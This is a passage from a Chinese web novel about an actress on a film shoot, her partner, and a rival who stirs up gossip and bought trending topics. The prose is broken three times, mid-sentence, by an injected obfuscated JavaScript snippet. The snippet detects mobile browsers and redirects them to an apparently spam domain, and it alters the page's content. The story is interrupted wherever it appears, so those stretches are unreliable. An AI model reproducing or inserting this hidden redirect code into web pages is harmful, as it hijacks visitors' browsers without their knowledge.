安思畅没说“喜欢”,也没说“不喜欢”,直接喝酒。 她朋友都起哄。 程锁锈听见旁边扈嘉怡一句:“我靠。” 轮到程锁锈,她笑眯眯问迟景蓝:“你喜欢我吗?” 他没说“喜欢”,也没说“不喜欢”,直接喝酒。 他们那边人又起哄。 程锁锈真被恶心笑了。 “没事的。”赖圣怡拍拍她,“这游戏的目的不就是灌酒吗?” 瓶嘴再次对向安思畅时,她看程锁锈:“我吹三瓶酒,我要陆巡的手机号码,是三瓶哦,不是三杯,可不可以?” 感觉扈嘉怡又要站起来骂,程锁锈一只手挡住她:“可以。” 安思畅一边吹,她一边说:“你可以想象一下,以前想要陆巡联系方式的人有多少,不是谁不要脸谁就能成功的,你觉得你与众不同,实际在我们这些不需要捧你的人眼里你真的很普通。” 安思畅不为所动,从喝第二瓶时开始吃力,喝第三瓶的速度明显慢下许多,显出狼狈,眼神都不清明了。 三瓶喝完:“来吧。” 程锁锈一个数字一个数字地念出陆巡的手机号码,她在手机上输。 “可别输错了,不然真的吃了大亏。” 安思畅微微一笑:“你可能不太了解我,我在北城确实无法无天为所欲为惯了,所以越是得不到的东西越有兴趣,而且哪怕只得到过一下、体验过一次就可以,不求永远拥有。” 程锁锈挑一下眉,赖圣怡在一旁吐槽:“我看她这人有点失心疯。” 安思畅继续对程锁锈说:“我劝你还是别去拍魏仕明的电影了,别以为我不知道,他要求你和陆巡在拍摄的五个月内不能见面,万一你出来时发现变天了怎么办?” 程锁锈第二次拦住要起身开骂的扈嘉怡,晃晃手指:“如果你想通过这一点影响我拍电影,那我只能理解为你害怕了,是因为你叔父赢得从来就不光彩。” 24. 疯话 拿安思畅叔父开涮就如同安思畅当初在陆巡面前提“daddy”,安思畅果然很不痛快,手握着第三只空酒瓶在桌上狠狠一磕,发出很大的动静:“程锁锈,我劝你不要口无遮拦!” 扈嘉怡“唰”地一下站起来,指她:“要论不要脸谁能比得过你!” 两拨人剑拔弩张,另一边听见声音的扈家邑走过来:“干什么呢?你们要是都喝懵了就别玩了,赶紧散了。” 这话跟赶小鸡仔似的,偏偏扈嘉怡最听他话。她一起身,大家都跟着起身。 程锁锈坐回陆巡身边,其他人去吃吃喝喝蹦蹦跳跳。毕竟这里是酒吧,台上还有DJ在卖力地打碟,这次聚会也是给陆巡和程锁锈庆生的。 快到零点,侍者推着巨大的三层蛋糕来到陆巡和程锁锈面前,几乎所有人围上来,唱生日歌和那首经典的“和所有的烦恼说拜拜”。 两人许愿,吹蜡烛,分蛋糕,一团忙忙乱乱。程锁锈见那阴魂不散的安思畅凑到陆巡另一边,虽然两人中间还夹着扈家邑,但她分明在等陆巡亲手切蛋糕给她。 嘴也没闲着,把扈家邑当空气人,对陆巡说:“听说你们请到了何崇尔?有点手段啊。” 陆巡气定神闲地切着蛋糕,当没听见。 程锁锈托着脸,笑眯眯:“你在害怕?” 安思畅又当没听见她话,继续对陆巡说:“何崇尔那么帅,那么有魅力,是多少女生的梦中情人,你就不担心你女朋友和人家相处几个月会发生点什么?我们圈里可乱了。” 陆巡看她一眼,将切好的一块蛋糕隔开她递给另一个人,再将塑料刀递给扈家邑,自己往沙发上一仰:“我累了,你切吧。” 扈家邑接了这活,笑。 安思畅倒不在意,挺直了身子,在扈家邑身边站得乖乖巧巧:“谢谢帅哥。” 陆巡冲她一挑眉:“你这张嘴,吃多少蛋糕都没有用。” 安思畅也无所谓地对他笑。 一直嗨到快凌晨两点才散场,陆巡的助理推了轮椅进来,程锁锈等人在后面跟,程锁锈忽然感觉自己衣角被扯住,她停住脚步,回头,安思畅酒已经醒得差不多了,瞪大眼睛看着她:“你男人,他的腿?” “他受伤了?” “车祸。” “啊?” “怎么样,别再搞你那些幺蛾子了好不好?真的很烦人。”程锁锈语气里不无鄙夷,“说白了,你连他是什么样的人都不了解,还有,要不先管好你带的小白脸呢?” 她忧愁地看一眼安思畅身旁正双目炯炯望着自己的迟景蓝。 “那个,”迟景蓝见机开口,“如果魏老真需要一个我能胜任的角色,请一定不要忘记我!我业务能力很强的!” “对,我证明。”安思畅别起手,“他在专业里排前几,只是一直没有合适的机会。他挑作品,觉得大多数剧本不够好,人家导演也挑他,觉得他没履历。我不想敷衍他,可最近叔父那儿真没什么既适合他又能让他出头的好角色。” “噢——懂了。”程锁锈点头,“没有实习经历的实习生找工作,但公司都想要有经验的实习生。” “Bingo!”安思畅将她拉开,“所以陆巡的车祸到底是怎么回事?” “是我们两个在一起后的事,永久性。” 程锁锈微微一笑,堵住安思畅所有想说的话,离开。 耽误些时间才上车,她坐到陆巡身边,头向他一歪:“你说安思畅做这些事是出于什么心理?” “不过可以理解,因为南城国际里的正常人也不多。” “也是。” “她一旦将想法显露出来,不贯彻到底会觉得伤面子,所以就一直发疯,等哪天她自己绷不住了放弃了就好了。” 程锁锈点头。 忽然想到迟景蓝的事:“那你觉得她身边那个男生呢?和我加了微信的那个?你有没有觉得他挺符合薛由锦这个角色,而且他也是北电的,比我们高一届,安思畅说他在专业里排前几,只是一直挑作品。” “真看不出来。”陆巡冷哼一声,“让魏导亲自看吧。” * 虽然迟景蓝是安思畅的人,性格也奇奇怪怪,但公事公办,程锁锈还是将他引荐到魏导那儿,没想到试镜加试妆后被一锤敲定下来。 他给程锁锈发微信:【锈姐,我入选了,我以后跟定你了!】 程锁锈赶紧和他划清界限:【大可不必!能被魏导选上是你自己的福气。】 【那我以后也誓死效忠锈姐!】 【不必不必。】 这对话奇奇怪怪。 程锁锈顿时头疼,不知道把这号人物拉上船是福是祸,因为拍摄的五个月里,他们要一直在封闭的环境内相处。 《破剑华》开机在即,她就要离开北城去江城。 临行前,她和陆巡去他们那北城的别墅中住最后一晚。虽然两栋房子未装修完,但在东边那幢的客厅和卧室里待一晚还是可以的,陆巡已提前请阿姨打扫好卫生,准备好必要的生活用品。 这里是他们的避风港,也是未来依然紧密相连的象征。 这个夜晚,程锁锈吃完饭后放飞自我,上次在酒吧没喝醉,这次她特意用红酒将自己灌醉。 她在黑胶唱片流淌出的乐曲中跳舞,赤着脚在客厅中旋转。这地板以西西里黑火山岩为主,每隔一段嵌入一条卡拉拉白大理石,赤脚踩上去有细微的颗粒感,且温度恒定在26℃,她一边沉醉一边有一搭没一搭地问陆巡话。 “安思畅上次在酒吧要了你的手机号,你知不知道?” “她就没联系过你?” “没。” 她一笑:“该不会是在等我离开北城吧?听说她那部电影要在秋冬天拍摄。” “怎么,你开始不放心我了?”陆巡还坐在餐桌边,一手支着脸。这厅内灯光有种烛火般的微弱与朦胧,面前还有程锁锈吃了一半的甜品,他看着她在不远处撒欢,长长的黑色吊带裙被一转一转地旋成朵花。 “焦虑的话就多想想魏仕明之前的作品,明年这个时候,不知道会有多少人去电影院欣赏你。” “嘁。” 程锁锈看他一眼,带着一阵香气飘到他身边,在他腿上坐下,勾住他脖颈。 不匀地喘着气,身体阵阵起伏,连说话都带着细小的波浪:“能不能别提这个,今天就你和我,再说了,我单独在电影城里待五个月,你就不担心?” “担心什么?” 她眼里一下有了小狐狸般狡黠的光,手指摩挲着陆巡的嘴唇:“还有,以后那么多人去电影院看我,你就不吃醋?我不再是单独属于你的了。” 她话里满满的调情,毫无道理和章法,眼神浓郁得像刚喝掉的红酒,陆巡掰着她下巴啃咬起来:“不,你是。” 她趁着喘息的空隙嘤咛:“那你是觉得这样很刺激吗?把我捧成光彩照人的大明星,实际却是你情人。” “情人?” 他狠狠地对着她饱满的下唇一咬,内侧皮薄的地方几乎要咬出血,程锁锈吃痛地唤出一声,向后一仰,捶了他一拳。 “你要觉得是情人很刺激,那就一直是情人。” 他直接将她放到地上,掀起她长裙,两个人几乎是边推搡扭打边亲热,说了一整晚疯话,因为都想放纵到最后一秒。 第二天刘榴乘保姆车来接程锁锈,程锁锈带着行李箱站在别墅门口,浑身酸痛,回头望一眼。 陆巡坐在轮椅上,在落地窗前支着脑袋,也远将她望着,眼神倒很平寂。 她长叹口气,正回脸,再没有回头。 离开北城,离开这座有陆巡的城市。 其实还有很多理智的话堵在心里没有问,比如:要这么长时间不见面,两个人的生活环境既复杂又天差地别,再也不如学生时代般单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759265|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纯,再见面时会不会感到陌生,她有点害怕。 * 程锁锈住进影视城,一切都很顺利,只是迟景蓝鬼一般地缠上她。 陆巡专门在酒店给她安排了一位符合她胃口的厨师,于是每回刘榴提前和厨师沟通,程锁锈几乎顿顿在餐厅吃饭,迟景蓝像守株待兔,总能坐到她这桌来和她说话。 程锁锈每天断断续续地和陆巡发消息,空余时间非常自律,不是学习就是健身,迟景蓝也慢慢摸清她健身的规律,总能在健身房中和她“偶遇”,开启与影片无关的话题。 程锁锈忍无可忍,半个月后两人又坐到同一张餐桌边,她警告他:“迟景蓝,工作归工作,闲暇时间我们能不能保持点距离?你不崇拜何崇尔么?你看人家影帝怎么做的,戏里戏外都那么有素养。” 这些话对迟景蓝几乎无伤害效果。 因为他脸皮之厚与安思畅如出一辙。 他反而很委屈:“因为我很感谢你啊,程锁锈老师。要不是你,我怎么可能有机会出演魏导的电影,还是个这么重要的角色!” “那是因为你……”程锁锈叉着沙拉,看着他那张脸顿住,他这么一副委屈的模样还挺秀色可餐,他在电影里的扮相也是如此清俊,她不禁腹诽:他性格要真和薛由锦一样就好了,谦谦君子,别这么烦人。 “获得这个角色是因为你形象符合,还有演技够格,我只是搭个线而已。”程锁锈终于将一口沙拉送进嘴,“但你老缠着我干什么?” 迟景蓝不言语。 “那好吧,我以后注意点。” 我可没有包小白脸的爱好,程锁锈翻个白眼。 看迟景蓝反思的样子不像演的,她又对这话题起了兴趣,问他:“安思畅真喜欢包小白脸?你们俩真是……那种关系?” “是啊。”他环顾四周,确认没有外人,连在玩手机的刘榴都很识趣地低下头,装听不见,迟景蓝放低声音,“她私生活可乱了,没办法,她也不能谈恋爱。” “噢。” “而且她叔父是曾潮,大家都很乐意和她在一起,想在她身边换点机会。” “那能换到吗?” “一般是能的,不过都是些龙套角色,或者在他叔父导演的大型活动中出镜。要知道,论现在国内的导演,她叔父说第二,没人敢说第一,魏导虽然才华出众,可也不是主流,而且都销声匿迹这么多年了。” “嗯,那你换到了吗?” “这不还没换到就被你给拐来了吗?” “你说话注意点……我们这可不讲那一套。” “噢,好。” 没想到安思畅这人这么反差。 警告过一次后迟景蓝老实多了,结果没几天说曹操曹操就到,安思畅来他们这儿探班。 程锁锈正和迟景蓝拍完练剑的戏,看到站在凉棚下的安思畅简直像见了鬼。她和迟景蓝一起走过去,问安思畅:“你是来看迟景蓝的还是看我?” “当然要一视同仁啊!”安思畅笑眯眯地拉住他们两人的手,“还给你们带了礼物。” ——黄鼠狼给鸡拜年。 刘榴接了安思畅助理递过的盒子,暂时替程锁锈保管,程锁锈带安思畅在现场转了转。 安思畅啧啧感叹他们的财大气粗,可程锁锈能看出她心思,她并没有将与他们竞争明年春节档的焦虑和忧愁。又想到迟景蓝的话,曾潮现在在电影界一家独大,或许魏仕明复出也难与他平分秋色。 安思畅当天来当天走,程锁锈晚上回到房间,刘榴已经将安思畅给她的礼物盒放在桌上。 安思畅临走前特意叮嘱:“锈锈,你一定要好好看看我给你的礼物!” 看她那眉飞色舞的样子就知道没好事,这盒子里绝不会是什么好东西。 打开盒子,里面没多余包装,只一条男士腰带。 程锁锈当然认得了,这是陆巡的腰带。 25. 破个戒 程锁锈给陆巡发消息:【你腰带丢了?】 陆巡问她:【想不想破个戒?】 【什么?】 视频通话邀请占据屏幕。 魏仕明给他们的规定是:只能线上聊天,且内容仅限于日常报备。可实际他们不遵守也不会被发现,一切全凭自觉,所以当程锁锈点下屏幕上的绿色按钮时,有种做贼心虚的刺激与偷感。 她有多久没和陆巡面对面了? 哪怕是隔着屏幕。 心里明明忐忑,但视频接通后,画面中的她懒洋洋。她将手机靠在枕头上,整个人趴在床上,手还勾住陆巡的那条腰带玩弄着:“解释下?” 视频中的他老样子,只是程锁锈实在不习惯看一个平面的他,远不如现实中生动。 他还住着他们之前的酒店套房,只开了床头的灯:“从头说?” “说。” “我只能说某位姓安的阴魂不散,无论我出去吃饭还是泡吧都能找上门,而我最近在北城的应酬恰好很多。”说到这儿,陆巡手指在额角磨过,程锁锈却“扑哧”一声笑了,因为她想到迟景蓝。 “很好玩?”陆巡问,“之前在南城,最疯狂的追求者也没敢研究我行踪。” “没什么,你继续说。” “我要认识的人也有她认识的,昨天吃完饭去酒吧,我喝不了酒,她又找过来,和那些人一起玩游戏,赢了要我的腰带。” 程锁锈又笑了:“那你就给了?” “对。” 陆巡托着脸,程锁锈与他对视,他说:“我知道她要做什么,效率还挺高,这是激动得直接通宵飞过去了?” 他这么一说,程锁锈又抚摸起这条腰带,垂下眼:“你就笃定我这么信任你。” “那怎么办?我还答应她不能和你解释。” “那你这是在?” “陈述事实,算解释吗?” 程锁锈梗了一下:“那可能不算吧。” “规矩是死的,人是活的不是?” “所以她想挑拨我们的关系,你怎么想的?” “我是想,让她多做些极端的事也好,等她发现做什么都没有用,折腾够了,或许会放弃得快些。” “未必未必。” 陆巡不语。 她又吐槽:“真是的,曾潮那电影怎么不早点开拍,让她消停会儿。” 又安静一阵。 陆巡开口:“那腰带正好留给你了,睹物思人吧。” “……那我还真是谢谢你们了。” “我们?” 程锁锈挠挠下颌,看他的眼神讳莫如深。 看来还是有点醋的,陆巡转移话题:“等你从剧组出来后也有的忙。” “怎么说?” “很多杂志和代言需要拍摄,Hugo在给你整理,哪些在电影上映之前拍,哪些在电影上映之后拍。自你确认主演魏老的电影后,能谈到的资源质量都高了不少。” 魏仕明拍摄新作、程锁锈担任女主角,这事无疑又掀起风波,有人期待,有人看戏,有人说程锁锈“不愧是资本的女儿”,这话倒又让她吸粉不少:起点这么高,如果专心搞事业不作妖,前途不可限量的。 何况每天对着真正的大美女狂吸何乐而不为? “那你是一直在忙着给我谈资源?”她问。 “不然呢?我在北城有什么好忙。” 程锁锈点点头,陆巡又简单地问了问她这边情况,挂掉视频电话前是他的一个笑。 看着回到对话框的页面,程锁锈心里空一块。 她觉得魏仕明这规定太不人性化,她和陆巡确实需要定期见一见,哪怕打个视频电话也好,否则时间该多难捱,积郁久了也不利于电影拍摄的。 准备熄灯睡觉了,她看着身旁的腰带,还是将它收进柜里。 毕竟被安思畅碰过,晦气。 现在她在江城的光影镜头中忙她的,陆巡在北城的推杯换盏中忙他的,可她真嫉妒安思畅,哪怕明知道和陆巡没可能,也日日清闲,能死缠烂打地和他打照面。 * 收到“礼物”后,程锁锈没给安思畅任何回应。 本可以冷嘲热讽一番,又怕安思畅认为是陆巡和她解释过,违反游戏规则,没游戏精神。 程锁锈迟迟没反应,安思畅果然耐不住寂寞,又在ins上给她灌歪理:【你不会单纯到相信,这世上会有三条腿的男人一辈子只睡一个女人吧?】 程锁锈不理。 第二天:【你emo了?】 附带一个关怀她的萌萌的表情包。 程锁锈不理。 第三天:【你手机让魏仕明收了?】 还是不理。 她默默看安思畅抓狂,自说自话,果然,冷暴力这种东西连死对头都受不住。 * 《破剑华》拍到渡王与李重华的亲密戏份,是渡王屡屡到道观中看望李重华后,两个人在书房里发生的事。 李重华与渡王相见恨晚,成为知己,实际上暗怀鬼胎,意图相互利用。 只是李重华不知道渡王曾爱慕自己母亲的事,更不会想到叔父会对自己产生非分之想。 但两人没实际发生什么,只是那一天,一个阳光明媚的午后,院中鸟雀啁啾,渡王看着在木帘下手捧诗文的她,阳光落在她与她母亲那么相似的一张面庞上,神思恍惚,没忍住做出了越轨的举动,于是心迹败露,两人间一时间气氛诡异。 可“越轨的举动”是什么,魏仕明没提前告知程锁锈,想试试她在不知情状态下的拍摄效果。 这个江城五月的好天气里,程锁锈穿着轻薄华美的长袍,斜倚在榻上,对着同样身着古装的何崇尔。 不得不说,他这么副扮相的确风华绝代,不愧为影帝,五官棱角分明,深邃的眼里全是王侯贵族的冷淡轻蔑,整个人散发出难以接近的气场。 他已然是朝堂上如日中天的渡王,而她是退居山林却心怀城府的公主。 一声“action”,程锁锈看着手中的诗文,对投到自己身上的目光假意不知。 何崇尔,也就是渡王忽然探身,一把捏住她脚踝。 她倏然看向对面这男人,一开始是过分惊讶,导致大脑宕机,于是在两秒内没有反应,接下来她猛收回脚,要去拔剑,这明明是她揣摩李重华心理所做出的自由发挥,可一切却在何崇尔意料之中。 脚没有抽回,剑也没有拔成,何崇尔眼疾手快,横暴地攥着她脚踝,将她整个人拖到他身前,生疼。 何崇尔“扑通”一声跪到她身上,双手紧紧地掐住她脖颈,程锁锈也是真快要窒息了,不可思议地怒瞪着他,脑袋因缺氧而昏昏沉沉,紧扒他双臂。 对方也狠狠瞪着她,仿佛看着曾经那位爱而不得的女人,也就是她母亲…… 虽然被掐住脖子的人是程锁锈,可何崇尔同样满面涨红,青筋暴起。 他所饰演的渡王在回忆中挣扎,几乎要脱口而出、怒吼着质问“为什么”,可往事纠葛太纷乱复杂,终究无法出口,他又慢慢发现眼前的人并非他所想的人,而是其女儿,理智渐渐回笼,程锁锈趁机坐起,一掌劈向其侧颈。 “咔——” “一会儿再来一遍,就按照这个章程。”魏仕明声音传来,“很好,拔剑这一动作我也考虑过,看来我们对李重华这个角色的理解略同,程锁锈。” “我先看一遍回放,之后和你们讲讲,等你们身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770623|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕迹消失了再拍第二遍。” 程锁锈舒出口气,脚踝处还疼得厉害,何崇尔看她一眼:“听魏导说,这段戏没提前告诉你细节,被吓到没?” 程锁锈看向他:“还行吧。” “这也是我揣摩渡王心理和魏导一起商量出的渡王的反应。” “看来魏导的初衷达成了,我们都在和各自的角色全身心融为一体。” “嗯。” 程锁锈坐得舒服了些,一挑眉:“何老师,那我刚才的反应怎么样?有没有什么需要精进的地方?” “没有,很自然。”何崇尔扫到她愈发显出红色的脖颈,“我也是真使了劲,很疼吧?” 程锁锈抚摸过刚才被他掐到的地方:“这算什么,我没那么娇气。” 沉默一会儿,何崇尔问:“但不是第一次被人这么用力地掐脖子吧?” 程锁锈惊讶地看他:“什么?” “为什么这么问?” 他只翘了翘嘴角,笑容不达眼底:“因为如果是第一次,反应不该是这样,应该更不可思议或无法接受些。” “……哦?”程锁锈看着他那双眼,又觉得他深不可测,“谢谢何老师指教。” “不,我不是说你演得不够剧烈,如果是方才的情节,作为李重华确实该克制些,你的演绎很到位,我只是和你随便聊一聊。”他眼神又变淡,“不过我掐你脖子的时候,你可以反抗得更凶狠些。你不是指甲紧紧地抠在我手臂上吗?可以真用力,不用怕弄疼我,我不是对你也没有手下留情?这才是好好拍电影的态度。” 程锁锈缓缓应:“好。” 第二次拍摄,她真将何崇尔手臂给抠破。 没想到这又给了魏仕明灵感:“程锁锈,不要光抠他,你可以把指甲深深地嵌进去,往下挠,留下血痕来!这样或许更有张力。叫特效化妆师和道具师来,我们商量一下,一会儿再来一遍试试看。” 最后程锁锈脖颈与脚踝也疼得厉害。 真可谓两败俱伤,两人的助理都凑上来善后,只有魏仕明非常满意,这场面真让人哭笑不得。 晚上回到酒店,程锁锈房门被敲响,只有她一个人在房间。 透过猫眼往外瞧,是何崇尔的助理。 开了门:“是何老师找我有什么事吗?” “是,也不是。”近三十岁的男助理亲切地笑,程锁锈低眼看到他捧着一只挺大的方形木盒,“这是我们崇尔老师特别钟爱的北城糕点,不论到哪儿拍戏都要带上几盒,崇尔老师说,今天拍戏他一点没放水,看你最后走路都有点费劲,特意叫我送一盒来赔个不是。” “哪有这样的道理?太客气了,而且我是晚辈啊。” 程锁锈客套几句,没推脱掉,收下:“那等我之后给何老师回礼,我今天也没下手多轻。” 没到十五分钟,房门又被敲响。 这次程锁锈看出去,是何崇尔。 “何老师?” “方便吗?” “方便呀。”程锁锈向后退一步,将他让进屋,同时看向他手臂。 他穿一件修身的黑T,肌肉饱满,肩身宽大。 他一直保持着健身习惯,两人时不时能在酒店的健身房碰面,不过都是点头之交。 这会儿看过去,他手臂上有几条若隐若现的红痕,都是她指甲的杰作。 突然觉得有点暧昧,她嘴上说起话:“刚才您托人送来的糕点我尝了,确实好吃,不过何老师怎么这么客气?毕竟我也……” “呃”地一声,她一下被掐住脖颈。 这力道不亚于他们白天假戏真做时,霎时间整颗脑袋胀得发红,窒息,头昏脑胀,腿也发软,但她努力站住了,不可思议地看向何崇尔。 26. 偷家 他很平静,居高临下地审视她一会儿,松了手:“不好意思,一时间有点好奇你会是什么反应。” 程锁锈喉咙滚动一下,看着他,说不出任何。 缓了缓,如同成年人之间一次隐晦的试探,只是这试探的方式太过突然且粗鲁,她笑了笑:“何老师这是白天太入戏了?” “嗯。”他进了屋,“不过我还是第一次对一个人失控。” “那我就当这是何老师对我的赞美了。”程锁锈眨眨眼,接住他这话,让方才的一切不那么尴尬。 何崇尔笑了笑,和她在桌子边坐下,上面放着她已经吃掉两块糕点的木盒。 他盯着那古色古香、精雕细琢的盒子,漫无目的地和她聊起他初至北城的往事,是他刚进入演艺圈的种种趣闻、黑幕……都十多年前的事了,程锁锈听得津津有味,而后将他送走。 她摸了摸自己脖颈。 她清楚,这个世界上没有圣人,但当初邀请何崇尔出演渡王时大家一起吃过饭,陆巡也在,何崇尔不可能看不出她和陆巡的关系。 他大概在这个圈子里见过太多,默认大家都不是多么单纯的人。 她突然特别想见陆巡。 她握着自己脖颈,在房间里踱来踱去。 可要想不耽误电影拍摄,见陆巡就需要他来里,魏仕明一定会不高兴,而且陆巡在北城忙不忙,能不能抽开身? 最后她决定给Hugo打电话:“Hugo,我能不能和陆巡见个面?” 如果直接和陆巡说,恐怕会让他为难。 Hugo相当敏锐:“是不是组里发生了什么事?” “……没有。” “和陆巡见面不太行,你们两边都不太方便。”Hugo说,“我这两天倒是可以过去看看你。” 程锁锈笑了。 就是莫名其妙觉得好笑。 Hugo也笑了:“怎么?觉得我代替不了陆少爷?” “没有没有,我还是很欢迎您的。” “嗯,正好有些代言想和你当面沟通,需不需要顺便给你带些什么?” 程锁锈想了想:“倒是不缺什么。” 刘榴都给她安排得挺好。 挂了电话,她冷静许多,看着手机,打开与陆巡的对话框。 上一条消息还是她给他拍的晚餐,他们每天就这样交换照片,分享零碎日常。 她盯着空白的输入框,在脑海中她已经在其中输入一行话:【突然好想你。】 然后在她的想象中,小光标闪闪烁烁,又将这段话删掉。 因为凭空抒发情绪没有用,就像她不会直接和陆巡说“我想见你”,徒增为难和心理负担罢了。 洗漱后躺在床上,看了会儿明天的剧本,是和迟景蓝的戏。 她关上灯,让自己精神世界被李重华的点点滴滴所灌满,可在这晚的梦里,她身着古装,渡王与薛由锦全然不存在,取而代之的是陆巡。 他们在这避世的庭院中岁月静好。 夜晚的天空万里无云,他们并排躺在榻上,从大开的窗户向外望。星与月毫无遮蔽,比身边随风颤颤巍巍的烛火还要明亮。 陆巡忽然翻过身,跪到她身上,掐住她脖颈。 她没有惊讶,而是笑。 他力道渐重,熟悉的窒息感,她大脑一片空白,望着他。他看她的眼神并不冰冷,而是融满了几乎要烧着的爱欲,她只愿在他的身体下臣服。 第二天程锁锈翻身醒来,梦里的一切历历在目,可毕竟不是真的,身上火被勾起来而不是被浇灭掉。 她觉得太可怕了。 和陆巡分开的第一个月,她开始做关于他的春梦。 * 【听说你想见我?】 【……】 程锁锈找Hugo的原因,就是不想让陆巡知道。 【虽然暂时见不了面,但让Hugo给你带去些东西,睹物思人吧。】 【好好好,又是睹物思人。】 Hugo没几天来影视城,给程锁锈带了箱衣服和玩偶,都是陆巡买的,基本是她喜欢的大牌的新品。还有几套质感特别好的vintage睡衣,这样她睡觉时也能感受到他的情意。 Hugo抽空和程锁锈对接了一下代言的事,最后她问:“听说安思畅在北城总阴魂不散地去找陆巡,跟装了定位雷达似的?” Hugo笑:“小女孩嘛,而且在北城被惯着长大的,顽劣了一点。” “哼,那我不也是小女孩。” “是是是,不过你放心,七少爷自己有数,而且我帮你监督他。” “我当然相信他。” 就是心烦。 * 六月天气渐热,让人心浮气躁。 程锁锈一开始觉得无聊,每天刷刷微博,看着各种熟悉或不熟悉的名字轮番登场:谁的作品上映了,谁和谁疑似离婚了,谁代言了什么,谁一家三口在哪儿旅游被拍到……后来觉得没意思就不看了。 某天下午,她在健身房跑步,迟景蓝气喘吁吁地夺门而入,那一头汗的样子比她都夸张。 而她戴着耳机,晚一拍才回头注意到迟景蓝的出现,他大喊:“不好了!锈姐,我们被偷家了!” “什么?” 程锁锈疑惑,停了跑步机,取下耳机,先看了看周围,没别人。 迟景蓝几乎要将手机怼到她脸上。 手机屏幕上,他点开一热搜词条:#安思畅夜会轮椅帅哥#。 程锁锈脑袋里“轰”的一声,这明显是安思畅买的热搜,她怎么好意思?又怎么敢?这不纯恶心人吗? 内容也不过一些模糊的视频,陆巡与安思畅同框的几秒里两人甚至没挨在一起,周围还有很多朋友。 媒体那意思是,两人晚上去了同一个地方,之前也经常一起出现,举止暧昧,可具体怎么个暧昧法没列出证据,也没细说。 安思畅怎么偏偏看上这么一位需要坐轮椅的男人?媒体意图带动舆论,让大家去猜测陆巡的身份。 竟然试图扒陆启耀儿子的身份,真不要命了。 程锁锈看了看这家曝光的媒体,名字很陌生,没听说过。 并且以前要是有哪家媒体曝出绯闻,其他媒体一定如雨后春笋般纷纷冒出,争先恐后地复制粘贴,生怕晚一秒就比别家少赚些流量,结果这家媒体已经发博近一个小时,无一家媒体应和,都是些人机在互动,看着挺可怜的。 程锁锈冷静不少,看迟景蓝:“你别演了。” “什么?” “你在这幸灾乐祸地挑拨离间呢?” 被程锁锈点明,迟景蓝反应更加浮夸:“啊?怎么会?什么……” “你说我被偷家了我理解,你被偷什么家?” “嗯?”迟景蓝挠挠头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778848|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 程锁锈按下按纽,脚下的履带重新滚动,她继续跑步:“你不是都和安思畅没有关系了?怎么,你两还睡出感情了,还谈上了?你不在的这段时间里,她身边都不知道换几批男宠了。” “……” “要是没其他事就回去多看看剧本吧,别耽误我跑步。” 她戴回耳机,迟景蓝“哦”一声,灰溜溜离开。 他到门口又回头看一眼程锁锈湿透的衣服、若无其事的背影,心想,他还是太高估她和那位轮椅大佬的关系了,说白了不还是相互利用么? 不然她姿色绝伦,为什么不在乎那位的残疾?不然她今天为什么能在这儿主演《破剑华》,连影帝何崇尔都给她做衬? 那和他与安思畅的关系有什么本质区别?高贵什么呢。 如今资源到手,她连那位大佬和安思畅搞到一起了都不管,心真大。 迟景蓝一边在心里叹气一边离开,又想,也是,等这电影一出,程锁锈一鸣惊人,应该也不需要什么大佬做支撑了。 她是真漂亮,到时候好资源肯定滚滚而来,应接不暇,不像安思畅,并不算惊艳,成名离不开她叔父那些作品。 * 程锁锈离开健身房时看了眼热搜,词条果然没了。 北城那边一定又是阵腥风血雨。 陆巡和Hugo都对她只字不提,肯定是抱以赌徒心理:如果她没看见就不让她知道了,免得影响她在这边拍摄。 吃晚饭时她一遍一遍地刷微博,想看看有没有后续,但这词条就跟没出现过一样,几乎无人讨论,也只有部分安思畅的粉丝出来说几句: 【现在媒体都这么水了?这也算证据?】 【看图编故事谁都会,如果实在太无聊可以期待明年春节档的《红潮》。】 【不是,图里这么多人呢,为什么就挑这个坐轮椅的?是因为最显眼吗?】 …… 更没人去扒陆巡的身份。 程锁锈想笑,因为这些义愤填膺的粉丝不知道,这词条正是他们正主买的。 一旁的刘榴看她不停刷微博,试探问:“最近有没有什么劲爆的热搜?” 程锁锈扫她一眼,这演技可比迟景蓝自然多了。 “有啊。”她说,“自家后院都着火了,你不知道?” 刘榴心虚一笑,又正色:“肯定是安思畅搞的鬼,别被影响了心情。” “当然不会。” 晚上七点过,黄金时间,安思畅的新热搜出来了:#安思畅约会多名小鲜肉#。 大家点开之前又以为是什么捕风捉影的事,结果点开后都傻了:这次曝出绯闻的是圈内各路大V,商量好一般,一起发微博,并且每个动图都十分清晰,是安思畅在不同时间、不同地点和各种各样小鲜肉勾肩搭背、卿卿我我的画面,除非AI合成,要不然真锤得不能再死。 程锁锈知道,这是陆巡的手笔。 他向来不是吃素的。 她也不是。 